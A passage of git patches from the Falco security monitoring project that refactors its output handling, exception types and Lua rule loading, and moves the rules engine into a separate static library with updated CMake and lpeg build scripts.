falco_outputs::init(bool json_output) +{ + // The engine must have been given an inspector by now. + if(! m_inspector) + { + throw falco_exception("No inspector provided"); + } + + falco_common::init(m_lua_main_filename); + + falco_formats::init(m_inspector, m_ls, json_output); + + falco_logger::init(m_ls); +} + +void falco_outputs::add_output(output_config oc) +{ + uint8_t nargs = 1; + lua_getglobal(m_ls, m_lua_add_output.c_str()); + + if(!lua_isfunction(m_ls, -1)) + { + throw falco_exception("No function " + m_lua_add_output + " found. "); + } + lua_pushstring(m_ls, oc.name.c_str()); + + // If we have options, build up a lua table containing them + if (oc.options.size()) + { + nargs = 2; + lua_createtable(m_ls, 0, oc.options.size()); + + for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it) + { + lua_pushstring(m_ls, (*it).second.c_str()); + lua_setfield(m_ls, -2, (*it).first.c_str()); + } + } + + if(lua_pcall(m_ls, nargs, 0, 0) != 0) + { + const char* lerr = lua_tostring(m_ls, -1); + throw falco_exception(string(lerr)); + } + +} + +void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority, string &format) +{ + lua_getglobal(m_ls, m_lua_output_event.c_str()); + + if(lua_isfunction(m_ls, -1)) + { + lua_pushlightuserdata(m_ls, ev); + lua_pushstring(m_ls, level.c_str()); + lua_pushstring(m_ls, priority.c_str()); + lua_pushstring(m_ls, format.c_str()); + + if(lua_pcall(m_ls, 4, 0, 0) != 0) + { + const char* lerr = lua_tostring(m_ls, -1); + string err = "Error invoking function output: " + string(lerr); + throw falco_exception(err); + } + } + else + { + throw falco_exception("No function " + m_lua_output_event + " found in lua compiler module"); + } + +} diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h new file mode 100644 index 00000000..938dbb94 --- /dev/null +++ b/userspace/falco/falco_outputs.h @@ -0,0 +1,41 @@ +#pragma once + +#include "config_falco.h" + +#include "falco_common.h" + +// +// This class acts as the primary interface between a program and the +// falco output engine. The falco rules engine is implemented by a +// separate class falco_engine. +// + +class falco_outputs : public falco_common +{ +public: + falco_outputs(); + virtual ~falco_outputs(); + + // The way to refer to an output (file, syslog, stdout, + // etc). An output has a name and set of options. + struct output_config + { + std::string name; + std::map options; + }; + + void init(bool json_output); + + void add_output(output_config oc); + + // + // ev is an event that has matched some rule. Pass the event + // to all configured outputs. + // + void handle_event(sinsp_evt *ev, std::string &level, std::string &priority, std::string &format); + +private: + std::string m_lua_add_output = "add_output"; + std::string m_lua_output_event = "output_event"; + std::string m_lua_main_filename = "output.lua"; +}; diff --git a/userspace/falco/fields.cpp b/userspace/falco/fields.cpp deleted file mode 100644 index 9349fa0c..00000000 --- a/userspace/falco/fields.cpp +++ /dev/null @@ -1,76 +0,0 @@ -#include "fields.h" -#include "chisel_api.h" -#include "filterchecks.h" - - -extern sinsp_filter_check_list g_filterlist; - -const static struct luaL_reg ll_falco [] = -{ - {"field", &falco_fields::field}, - {NULL,NULL} -}; - -sinsp* falco_fields::s_inspector = NULL; - -std::map falco_fields::s_fieldname_map; - - -void falco_fields::init(sinsp* inspector, lua_State *ls) -{ - s_inspector = inspector; - - luaL_openlib(ls, "falco", ll_falco, 0); -} - -int falco_fields::field(lua_State *ls) -{ - - sinsp_filter_check* chk=NULL; - - if (!lua_islightuserdata(ls, 1)) - { - string err = "invalid argument passed to falco.field()"; - fprintf(stderr, "%s\n", err.c_str()); - throw sinsp_exception("falco.field() error"); - } - sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1); - - string fieldname = luaL_checkstring(ls, 2); - - if (s_fieldname_map.count(fieldname) == 0) - { - - chk = g_filterlist.new_filter_check_from_fldname(fieldname, - s_inspector, - false); - - if(chk == NULL) - { - string err = "nonexistent fieldname passed to falco.field(): " + string(fieldname); - fprintf(stderr, "%s\n", err.c_str()); - throw sinsp_exception("falco.field() error"); - } - - chk->parse_field_name(fieldname.c_str(), true); - s_fieldname_map[fieldname] = chk; - } - else - { - chk = s_fieldname_map[fieldname]; - } - - uint32_t vlen; - uint8_t* rawval = chk->extract(evt, &vlen); - - if(rawval != NULL) - { - return lua_cbacks::rawval_to_lua_stack(ls, rawval, chk->get_field_info(), vlen); - } - else - { - lua_pushnil(ls); - return 1; - } -} - diff --git a/userspace/falco/fields.h b/userspace/falco/fields.h deleted file mode 100644 index ff69c52d..00000000 --- a/userspace/falco/fields.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include "sinsp.h" - -extern "C" { -#include "lua.h" -#include "lualib.h" -#include "lauxlib.h" -} - -class falco_fields -{ - public: - static void init(sinsp* inspector, lua_State *ls); - - // value = falco.field(evt, fieldname) - static int field(lua_State *ls); - - static sinsp* s_inspector; - static std::map s_fieldname_map; -}; diff --git a/userspace/falco/formats.cpp b/userspace/falco/formats.cpp index 142df600..48b9a1a0 100644 --- a/userspace/falco/formats.cpp +++ b/userspace/falco/formats.cpp @@ -2,6 +2,7 @@ #include "formats.h" #include "logger.h" +#include "falco_engine.h" sinsp* falco_formats::s_inspector = NULL; @@ -10,6 +11,7 @@ bool s_json_output = false; const static struct luaL_reg ll_falco [] = { {"formatter", &falco_formats::formatter}, + {"free_formatter", &falco_formats::free_formatter}, {"format_event", &falco_formats::format_event}, {NULL,NULL} }; @@ -32,9 +34,7 @@ int falco_formats::formatter(lua_State *ls) } catch(sinsp_exception& e) { - falco_logger::log(LOG_ERR, "Invalid output format '" + format + "'.\n"); - - throw sinsp_exception("set_formatter error"); + throw falco_exception("Invalid output format '" + format + "'.\n"); } lua_pushlightuserdata(ls, formatter); @@ -42,6 +42,20 @@ int falco_formats::formatter(lua_State *ls) return 1; } +int falco_formats::free_formatter(lua_State *ls) +{ + if (!lua_islightuserdata(ls, -1)) + { + throw falco_exception("Invalid argument passed to free_formatter"); + } + + sinsp_evt_formatter *formatter = (sinsp_evt_formatter *) lua_topointer(ls, 1); + + delete(formatter); + + return 1; +} + int falco_formats::format_event (lua_State *ls) { string line; @@ -50,8 +64,7 @@ int falco_formats::format_event (lua_State *ls) !lua_isstring(ls, -2) || !lua_isstring(ls, -3) || !lua_islightuserdata(ls, -4)) { - falco_logger::log(LOG_ERR, "Invalid arguments passed to format_event()\n"); - throw sinsp_exception("format_event error"); + throw falco_exception("Invalid arguments passed to format_event()\n"); } sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1); const char *rule = (char *) lua_tostring(ls, 2); diff --git a/userspace/falco/formats.h b/userspace/falco/formats.h index 6f369bf3..4a71c926 100644 --- a/userspace/falco/formats.h +++ b/userspace/falco/formats.h @@ -18,6 +18,9 @@ class falco_formats // formatter = falco.formatter(format_string) static int formatter(lua_State *ls); + // falco.free_formatter(formatter) + static int free_formatter(lua_State *ls); + // formatted_string = falco.format_event(evt, formatter) static int format_event(lua_State *ls); diff --git a/userspace/falco/logger.cpp b/userspace/falco/logger.cpp index 7c4bdc5b..86af8207 100644 --- a/userspace/falco/logger.cpp +++ b/userspace/falco/logger.cpp @@ -1,9 +1,6 @@ #include #include "logger.h" #include "chisel_api.h" -#include "filterchecks.h" - - const static struct luaL_reg ll_falco [] = { diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua index d35a8340..158d7fbc 100644 --- a/userspace/falco/lua/output.lua +++ b/userspace/falco/lua/output.lua @@ -6,10 +6,7 @@ mod.levels = levels local outputs = {} -function mod.stdout(evt, rule, level, format) - format = "*%evt.time: "..levels[level+1].." "..format - formatter = falco.formatter(format) - msg = falco.format_event(evt, rule, levels[level+1], formatter) +function mod.stdout(level, msg) print (msg) end @@ -26,29 +23,17 @@ function mod.file_validate(options) end -function mod.file(evt, rule, level, format, options) - format = "*%evt.time: "..levels[level+1].." "..format - formatter = falco.formatter(format) - msg = falco.format_event(evt, rule, levels[level+1], formatter) - +function mod.file(level, msg) file = io.open(options.filename, "a+") file:write(msg, "\n") file:close() end -function mod.syslog(evt, rule, level, format) - - formatter = falco.formatter(format) - msg = falco.format_event(evt, rule, levels[level+1], formatter) +function mod.syslog(level, msg) falco.syslog(level, msg) end -function mod.program(evt, rule, level, format, options) - - format = "*%evt.time: "..levels[level+1].." "..format - formatter = falco.formatter(format) - msg = falco.format_event(evt, rule, levels[level+1], formatter) - +function mod.program(level, msg) -- XXX Ideally we'd check that the program ran -- successfully. However, the luajit we're using returns true even -- when the shell can't run the program. @@ -59,10 +44,27 @@ function mod.program(evt, rule, level, format, options) file:close() end -function mod.event(event, rule, level, format) - for index,o in ipairs(outputs) do - o.output(event, rule, level, format, o.config) +local function level_of(s) + s = string.lower(s) + for i,v in ipairs(levels) do + if (string.find(string.lower(v), "^"..s)) then + return i - 1 -- (syslog levels start at 0, lua indices start at 1) + end end + error("Invalid severity level: "..s) +end + +function output_event(event, rule, priority, format) + local level = level_of(priority) + format = "*%evt.time: "..levels[level+1].." "..format + formatter = falco.formatter(format) + msg = falco.format_event(event, rule, levels[level+1], formatter) + + for index,o in ipairs(outputs) do + o.output(level, msg) + end + + falco.free_formatter(formatter) end function add_output(output_name, config) diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/falco/lua/rule_loader.lua index e15b85c0..f0885dfd 100644 --- a/userspace/falco/lua/rule_loader.lua +++ b/userspace/falco/lua/rule_loader.lua @@ -5,7 +5,6 @@ --]] -local output = require('output') local compiler = require "compiler" local yaml = require"lyaml" @@ -101,31 +100,23 @@ function set_output(output_format, state) end end -local function priority(s) - s = string.lower(s) - for i,v in ipairs(output.levels) do - if (string.find(string.lower(v), "^"..s)) then - return i - 1 -- (syslog levels start at 0, lua indices start at 1) - end - end - error("Invalid severity level: "..s) -end - -- Note that the rules_by_name and rules_by_idx refer to the same rule -- object. The by_name index is used for things like describing rules, -- and the by_idx index is used to map the relational node index back -- to a rule. local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}} -function load_rules(filename, rules_mgr, verbose, all_events) +function load_rules(rules_content, rules_mgr, verbose, all_events) compiler.set_verbose(verbose) compiler.set_all_events(all_events) - local f = assert(io.open(filename, "r")) - local s = f:read("*all") - f:close() - local rules = yaml.load(s) + local rules = yaml.load(rules_content) + + if rules == nil then + -- An empty rules file is acceptable + return + end for i,v in ipairs(rules) do -- iterate over yaml list @@ -168,8 +159,6 @@ function load_rules(filename, rules_mgr, verbose, all_events) end end - -- Convert the priority as a string to a level now - v['level'] = priority(v['priority']) state.rules_by_name[v['rule']] = v local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'], @@ -190,7 +179,7 @@ function load_rules(filename, rules_mgr, verbose, all_events) install_filter(filter_ast.filter.value) -- Pass the filter and event types back up - falco_rules.add_filter(rules_mgr, evttypes) + falco_rules.add_filter(rules_mgr, v['rule'], evttypes) -- Rule ASTs are merged together into one big AST, with "OR" between each -- rule. @@ -256,11 +245,7 @@ function describe_rule(name) end end -local rule_output_counts = {total=0, by_level={}, by_name={}} - -for idx=0,table.getn(output.levels)-1,1 do - rule_output_counts.by_level[idx] = 0 -end +local rule_output_counts = {total=0, by_priority={}, by_name={}} function on_event(evt_, rule_id) @@ -271,10 +256,10 @@ function on_event(evt_, rule_id) rule_output_counts.total = rule_output_counts.total + 1 local rule = state.rules_by_idx[rule_id] - if rule_output_counts.by_level[rule.level] == nil then - rule_output_counts.by_level[rule.level] = 1 + if rule_output_counts.by_priority[rule.priority] == nil then + rule_output_counts.by_priority[rule.priority] = 1 else - rule_output_counts.by_level[rule.level] = rule_output_counts.by_level[rule.level] + 1 + rule_output_counts.by_priority[rule.priority] = rule_output_counts.by_priority[rule.priority] + 1 end if rule_output_counts.by_name[rule.rule] == nil then @@ -283,17 +268,14 @@ function on_event(evt_, rule_id) rule_output_counts.by_name[rule.rule] = rule_output_counts.by_name[rule.rule] + 1 end - output.event(evt_, rule.rule, rule.level, rule.output) + return rule.rule, rule.priority, rule.output end function print_stats() print("Events detected: "..rule_output_counts.total) print("Rule counts by severity:") - for idx, level in ipairs(output.levels) do - -- To keep the output concise, we only print 0 counts for error, warning, and info levels - if rule_output_counts.by_level[idx-1] > 0 or level == "Error" or level == "Warning" or level == "Informational" then - print (" "..level..": "..rule_output_counts.by_level[idx-1]) - end + for priority, count in pairs(rule_output_counts.by_priority) do + print (" "..priority..": "..count) end print("Triggered rules by rule name:") diff --git a/userspace/falco/rules.cpp b/userspace/falco/rules.cpp index ce09ab16..04078ba0 100644 --- a/userspace/falco/rules.cpp +++ b/userspace/falco/rules.cpp @@ -7,20 +7,17 @@ extern "C" { #include "lauxlib.h" } +#include "falco_engine.h" const static struct luaL_reg ll_falco_rules [] = { {"add_filter", &falco_rules::add_filter}, {NULL,NULL} }; -falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename) +falco_rules::falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls) + : m_inspector(inspector), m_engine(engine), m_ls(ls) { - m_inspector = inspector; - m_ls = ls; - m_lua_parser = new lua_parser(inspector, m_ls); - - load_compiler(lua_main_filename); } void falco_rules::init(lua_State *ls) @@ -30,14 +27,15 @@ void falco_rules::init(lua_State *ls) int falco_rules::add_filter(lua_State *ls) { - if (! lua_islightuserdata(ls, -2) || + if (! lua_islightuserdata(ls, -3) || + ! lua_isstring(ls, -2) || ! lua_istable(ls, -1)) { - falco_logger::log(LOG_ERR, "Invalid arguments passed to add_filter()\n"); - throw sinsp_exception("add_filter error"); + throw falco_exception("Invalid arguments passed to add_filter()\n"); } - falco_rules *rules = (falco_rules *) lua_topointer(ls, -2); + falco_rules *rules = (falco_rules *) lua_topointer(ls, -3); + const char *rulec = lua_tostring(ls, -2); list evttypes; @@ -51,44 +49,23 @@ int falco_rules::add_filter(lua_State *ls) lua_pop(ls, 1); } - rules->add_filter(evttypes); + std::string rule = rulec; + rules->add_filter(rule, evttypes); return 0; } -void falco_rules::add_filter(list &evttypes) +void falco_rules::add_filter(string &rule, list &evttypes) { // While the current rule was being parsed, a sinsp_filter // object was being populated by lua_parser. Grab that filter - // and pass it to the inspector. + // and pass it to the engine. sinsp_filter *filter = m_lua_parser->get_filter(true); - m_inspector->add_evttype_filter(evttypes, filter); + m_engine->add_evttype_filter(rule, evttypes, filter); } -void falco_rules::load_compiler(string lua_main_filename) -{ - ifstream is; - is.open(lua_main_filename); - if(!is.is_open()) - { - throw sinsp_exception("can't open file " + lua_main_filename); - } - - string scriptstr((istreambuf_iterator(is)), - istreambuf_iterator()); - - // - // Load the compiler script - // - if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0)) - { - throw sinsp_exception("Failed to load script " + - lua_main_filename + ": " + lua_tostring(m_ls, -1)); - } -} - -void falco_rules::load_rules(string rules_filename, bool verbose, bool all_events) +void falco_rules::load_rules(const string &rules_content, bool verbose, bool all_events) { lua_getglobal(m_ls, m_lua_load_rules.c_str()); if(lua_isfunction(m_ls, -1)) @@ -158,7 +135,7 @@ void falco_rules::load_rules(string rules_filename, bool verbose, bool all_event lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str()); - lua_pushstring(m_ls, rules_filename.c_str()); + lua_pushstring(m_ls, rules_content.c_str()); lua_pushlightuserdata(m_ls, this); lua_pushboolean(m_ls, (verbose ? 1 : 0)); lua_pushboolean(m_ls, (all_events ? 1 : 0)); @@ -166,10 +143,10 @@ void falco_rules::load_rules(string rules_filename, bool verbose, bool all_event { const char* lerr = lua_tostring(m_ls, -1); string err = "Error loading rules:" + string(lerr); - throw sinsp_exception(err); + throw falco_exception(err); } } else { - throw sinsp_exception("No function " + m_lua_load_rules + " found in lua rule module"); + throw falco_exception("No function " + m_lua_load_rules + " found in lua rule module"); } } @@ -189,19 +166,14 @@ void falco_rules::describe_rule(std::string *rule) { const char* lerr = lua_tostring(m_ls, -1); string err = "Could not describe " + (rule == NULL ? "all rules" : "rule " + *rule) + ": " + string(lerr); - throw sinsp_exception(err); + throw falco_exception(err); } } else { - throw sinsp_exception("No function " + m_lua_describe_rule + " found in lua rule module"); + throw falco_exception("No function " + m_lua_describe_rule + " found in lua rule module"); } } -sinsp_filter* falco_rules::get_filter() -{ - return m_lua_parser->get_filter(); -} - falco_rules::~falco_rules() { delete m_lua_parser; diff --git a/userspace/falco/rules.h b/userspace/falco/rules.h index b049a827..8f2ef6d8 100644 --- a/userspace/falco/rules.h +++ b/userspace/falco/rules.h @@ -3,33 +3,33 @@ #include #include "sinsp.h" + #include "lua_parser.h" +class falco_engine; + class falco_rules { public: - falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename); + falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls); ~falco_rules(); - void load_rules(string rules_filename, bool verbose, bool all_events); + void load_rules(const string &rules_content, bool verbose, bool all_events); void describe_rule(string *rule); - sinsp_filter* get_filter(); static void init(lua_State *ls); static int add_filter(lua_State *ls); private: - void load_compiler(string lua_main_filename); - - void add_filter(list &evttypes); + void add_filter(string &rule, list &evttypes); lua_parser* m_lua_parser; sinsp* m_inspector; + falco_engine *m_engine; lua_State* m_ls; string m_lua_load_rules = "load_rules"; string m_lua_ignored_syscalls = "ignored_syscalls"; string m_lua_ignored_events = "ignored_events"; string m_lua_events = "events"; - string m_lua_on_event = "on_event"; string m_lua_describe_rule = "describe_rule"; }; From b1857eff354e683500a5e85e774403b21d09ff54 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 20 Jul 2016 15:31:34 -0700 Subject: [PATCH 05/63] Move falco engine to its own library. Move the c++ and lua code implementing falco engine/falco common to its own directory userspace/engine. It's compiled as a static library libfalco_engine.a, and has its own CMakeLists.txt so it can be included by other projects. The engine's CMakeLists.txt has a add_subdirectory for the falco rules directory, so including the engine also builds the rules. The variables you need to set to use the engine's CMakeLists.txt are: - CMAKE_INSTALL_PREFIX: the root directory below which everything is installed. - FALCO_ETC_DIR: where to install the rules file. - FALCO_SHARE_DIR: where to install lua code, relative to the - install/package root. - LUAJIT_INCLUDE: where to find header files for lua. - FALCO_SINSP_LIBRARY: the library containing sinsp code. It will be - considered a dependency of the engine. - LPEG_LIB/LYAML_LIB/LIBYAML_LIB: locations for third-party libraries. - FALCO_COMPONENT: if set, will be included as a part of any install() commands. Instead of specifying /usr/share/falco in config_falco_*.h.in, use CMAKE_INSTALL_PREFIX and FALCO_SHARE_DIR. The lua code for the engine has also moved, so the two lua source directories (userspace/engine/lua and userspace/falco/lua) need to be available separately via falco_common, so make it an argument to falco_common::init. As a part of making it easy to include in another project, also clean up LPEG build/defs. Modify build-lpeg to add a PREFIX argument to allow for object files/libraries being in an alternate location, and when building lpeg, put object files in a build/ subdirectory. --- CMakeLists.txt | 16 ++++++---- rules/CMakeLists.txt | 14 +++++++-- scripts/build-lpeg.sh | 24 ++++++++++---- userspace/engine/CMakeLists.txt | 31 +++++++++++++++++++ userspace/engine/config_falco_engine.h.in | 4 +++ userspace/{falco => engine}/falco_common.cpp | 12 +++---- userspace/{falco => engine}/falco_common.h | 2 +- userspace/{falco => engine}/falco_engine.cpp | 4 ++- userspace/{falco => engine}/falco_engine.h | 1 - userspace/{falco => engine}/lpeg.h | 0 userspace/{falco => engine}/lua/README.md | 0 userspace/{falco => engine}/lua/compiler.lua | 0 .../{falco => engine}/lua/parser-smoke.sh | 0 userspace/{falco => engine}/lua/parser.lua | 0 .../{falco => engine}/lua/rule_loader.lua | 0 userspace/{falco => engine}/lyaml.h | 0 userspace/{falco => engine}/rules.cpp | 0 userspace/{falco => engine}/rules.h | 0 userspace/falco/CMakeLists.txt | 7 ++--- userspace/falco/config_falco.h.in | 2 +- userspace/falco/falco.cpp | 1 + userspace/falco/falco_outputs.cpp | 5 ++- userspace/falco/falco_outputs.h | 2 -- 23 files changed, 94 insertions(+), 31 deletions(-) create mode 100644 userspace/engine/CMakeLists.txt create mode 100644 userspace/engine/config_falco_engine.h.in rename userspace/{falco => engine}/falco_common.cpp (84%) rename userspace/{falco => engine}/falco_common.h (93%) rename userspace/{falco => engine}/falco_engine.cpp (95%) rename userspace/{falco => engine}/falco_engine.h (98%) rename userspace/{falco => engine}/lpeg.h (100%) rename userspace/{falco => engine}/lua/README.md (100%) rename userspace/{falco => engine}/lua/compiler.lua (100%) rename userspace/{falco => engine}/lua/parser-smoke.sh (100%) rename userspace/{falco => engine}/lua/parser.lua (100%) rename userspace/{falco => engine}/lua/rule_loader.lua (100%) rename userspace/{falco => engine}/lyaml.h (100%) rename userspace/{falco => engine}/rules.cpp (100%) rename userspace/{falco => engine}/rules.h (100%) diff --git a/CMakeLists.txt b/CMakeLists.txt index b0809137..730f559f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -6,8 +6,8 @@ if(NOT DEFINED FALCO_VERSION) set(FALCO_VERSION "0.1.1dev") endif() -if(NOT DEFINED DIR_ETC) - set(DIR_ETC "/etc") +if(NOT DEFINED FALCO_ETC_DIR) + set(FALCO_ETC_DIR "/etc") endif() if(NOT CMAKE_BUILD_TYPE) @@ -39,6 +39,7 @@ set(PACKAGE_NAME "falco") set(PROBE_VERSION "${FALCO_VERSION}") set(PROBE_NAME "sysdig-probe") set(PROBE_DEVICE_NAME "sysdig") +set(CMAKE_INSTALL_PREFIX /usr) set(CMD_MAKE make) @@ -160,11 +161,12 @@ ExternalProject_Add(luajit INSTALL_COMMAND "") set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg") +set (LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a") ExternalProject_Add(lpeg DEPENDS luajit URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz" URL_MD5 "0aec64ccd13996202ad0c099e2877ece" - BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" + BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build" BUILD_IN_SOURCE 1 CONFIGURE_COMMAND "" INSTALL_COMMAND "") @@ -188,17 +190,19 @@ ExternalProject_Add(lyaml BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit - INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/falco/lua") + INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua") install(FILES falco.yaml - DESTINATION "${DIR_ETC}") + DESTINATION "${FALCO_ETC_DIR}") add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver") add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap") add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp") -add_subdirectory(rules) add_subdirectory(scripts) +set(FALCO_SINSP_LIBRARY sinsp) +set(FALCO_SHARE_DIR share/falco) +add_subdirectory(userspace/engine) add_subdirectory(userspace/falco) diff --git a/rules/CMakeLists.txt b/rules/CMakeLists.txt index 8e7bfb68..916f5f8f 100644 --- a/rules/CMakeLists.txt +++ b/rules/CMakeLists.txt @@ -1,3 +1,13 @@ -install(FILES falco_rules.yaml - DESTINATION "${DIR_ETC}") +if(NOT DEFINED FALCO_ETC_DIR) + set(FALCO_ETC_DIR "/etc") +endif() + +if(DEFINED FALCO_COMPONENT) +install(FILES falco_rules.yaml + COMPONENT "${FALCO_COMPONENT}" + DESTINATION "${FALCO_ETC_DIR}") +else() +install(FILES falco_rules.yaml + DESTINATION "${FALCO_ETC_DIR}") +endif() diff --git a/scripts/build-lpeg.sh b/scripts/build-lpeg.sh index 6a8db3fd..ba77159f 100755 --- a/scripts/build-lpeg.sh +++ b/scripts/build-lpeg.sh @@ -1,17 +1,29 @@ -#!/bin/sh +#!/bin/bash -gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o lpcap.o -gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o lpcode.o -gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o lpprint.o -gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o lptree.o -gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o lpvm.o +set -ex + +PREFIX=$1 + +if [ -z $PREFIX ]; then + PREFIX=. +fi + +mkdir -p $PREFIX + +gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o $PREFIX/lpcap.o +gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o $PREFIX/lpcode.o +gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o $PREFIX/lpprint.o +gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o $PREFIX/lptree.o +gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o $PREFIX/lpvm.o # For building lpeg.so, which we don't need now that we're statically linking lpeg.a into falco #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o +pushd $PREFIX /usr/bin/ar cr lpeg.a lpcap.o lpcode.o lpprint.o lptree.o lpvm.o /usr/bin/ranlib lpeg.a +popd chmod ug+w re.lua diff --git a/userspace/engine/CMakeLists.txt b/userspace/engine/CMakeLists.txt new file mode 100644 index 00000000..dfc85495 --- /dev/null +++ b/userspace/engine/CMakeLists.txt @@ -0,0 +1,31 @@ +include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp") +include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap") +include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp") +include_directories("${PROJECT_BINARY_DIR}/userspace/engine") +include_directories("${LUAJIT_INCLUDE}") + +add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp) + +target_include_directories(falco_engine PUBLIC + "${LUAJIT_INCLUDE}") + +target_link_libraries(falco_engine + "${FALCO_SINSP_LIBRARY}" + "${LPEG_LIB}" + "${LYAML_LIB}" + "${LIBYAML_LIB}") + +configure_file(config_falco_engine.h.in config_falco_engine.h) + +if(DEFINED FALCO_COMPONENT) +install(DIRECTORY lua + DESTINATION "${FALCO_SHARE_DIR}" + COMPONENT "${FALCO_COMPONENT}" + FILES_MATCHING PATTERN *.lua) +else() +install(DIRECTORY lua + DESTINATION "${FALCO_SHARE_DIR}" + FILES_MATCHING PATTERN *.lua) +endif() + +add_subdirectory("${PROJECT_SOURCE_DIR}/../falco/rules" "${PROJECT_BINARY_DIR}/rules") diff --git a/userspace/engine/config_falco_engine.h.in b/userspace/engine/config_falco_engine.h.in new file mode 100644 index 00000000..a0481911 --- /dev/null +++ b/userspace/engine/config_falco_engine.h.in @@ -0,0 +1,4 @@ +#pragma once + +#define FALCO_ENGINE_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/" +#define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/" diff --git a/userspace/falco/falco_common.cpp b/userspace/engine/falco_common.cpp similarity index 84% rename from userspace/falco/falco_common.cpp rename to userspace/engine/falco_common.cpp index 47874180..1e2361ec 100644 --- a/userspace/falco/falco_common.cpp +++ b/userspace/engine/falco_common.cpp @@ -1,6 +1,6 @@ #include -#include "config_falco.h" +#include "config_falco_engine.h" #include "falco_common.h" falco_common::falco_common() @@ -22,24 +22,24 @@ void falco_common::set_inspector(sinsp *inspector) m_inspector = inspector; } -void falco_common::init(string &lua_main_filename) +void falco_common::init(const char *lua_main_filename, const char *source_dir) { ifstream is; - string lua_dir = FALCO_LUA_DIR; + string lua_dir = FALCO_ENGINE_LUA_DIR; string lua_main_path = lua_dir + lua_main_filename; is.open(lua_main_path); if (!is.is_open()) { - lua_dir = FALCO_SOURCE_LUA_DIR; + lua_dir = source_dir; lua_main_path = lua_dir + lua_main_filename; is.open(lua_main_path); if (!is.is_open()) { throw falco_exception("Could not find Falco Lua entrypoint (tried " + - string(FALCO_LUA_DIR) + lua_main_filename + ", " + - string(FALCO_SOURCE_LUA_DIR) + lua_main_filename + ")"); + string(FALCO_ENGINE_LUA_DIR) + lua_main_filename + ", " + + string(source_dir) + lua_main_filename + ")"); } } diff --git a/userspace/falco/falco_common.h b/userspace/engine/falco_common.h similarity index 93% rename from userspace/falco/falco_common.h rename to userspace/engine/falco_common.h index b3c49e06..d08a274d 100644 --- a/userspace/falco/falco_common.h +++ b/userspace/engine/falco_common.h @@ -52,7 +52,7 @@ public: falco_common(); virtual ~falco_common(); - void init(std::string &lua_main_filename); + void init(const char *lua_main_filename, const char *source_dir); void set_inspector(sinsp *inspector); diff --git a/userspace/falco/falco_engine.cpp b/userspace/engine/falco_engine.cpp similarity index 95% rename from userspace/falco/falco_engine.cpp rename to userspace/engine/falco_engine.cpp index f144721e..c4dcb771 100644 --- a/userspace/falco/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -2,6 +2,7 @@ #include #include "falco_engine.h" +#include "config_falco_engine.h" extern "C" { #include "lpeg.h" @@ -17,11 +18,12 @@ string lua_print_stats = "print_stats"; using namespace std; falco_engine::falco_engine() + : m_rules(NULL) 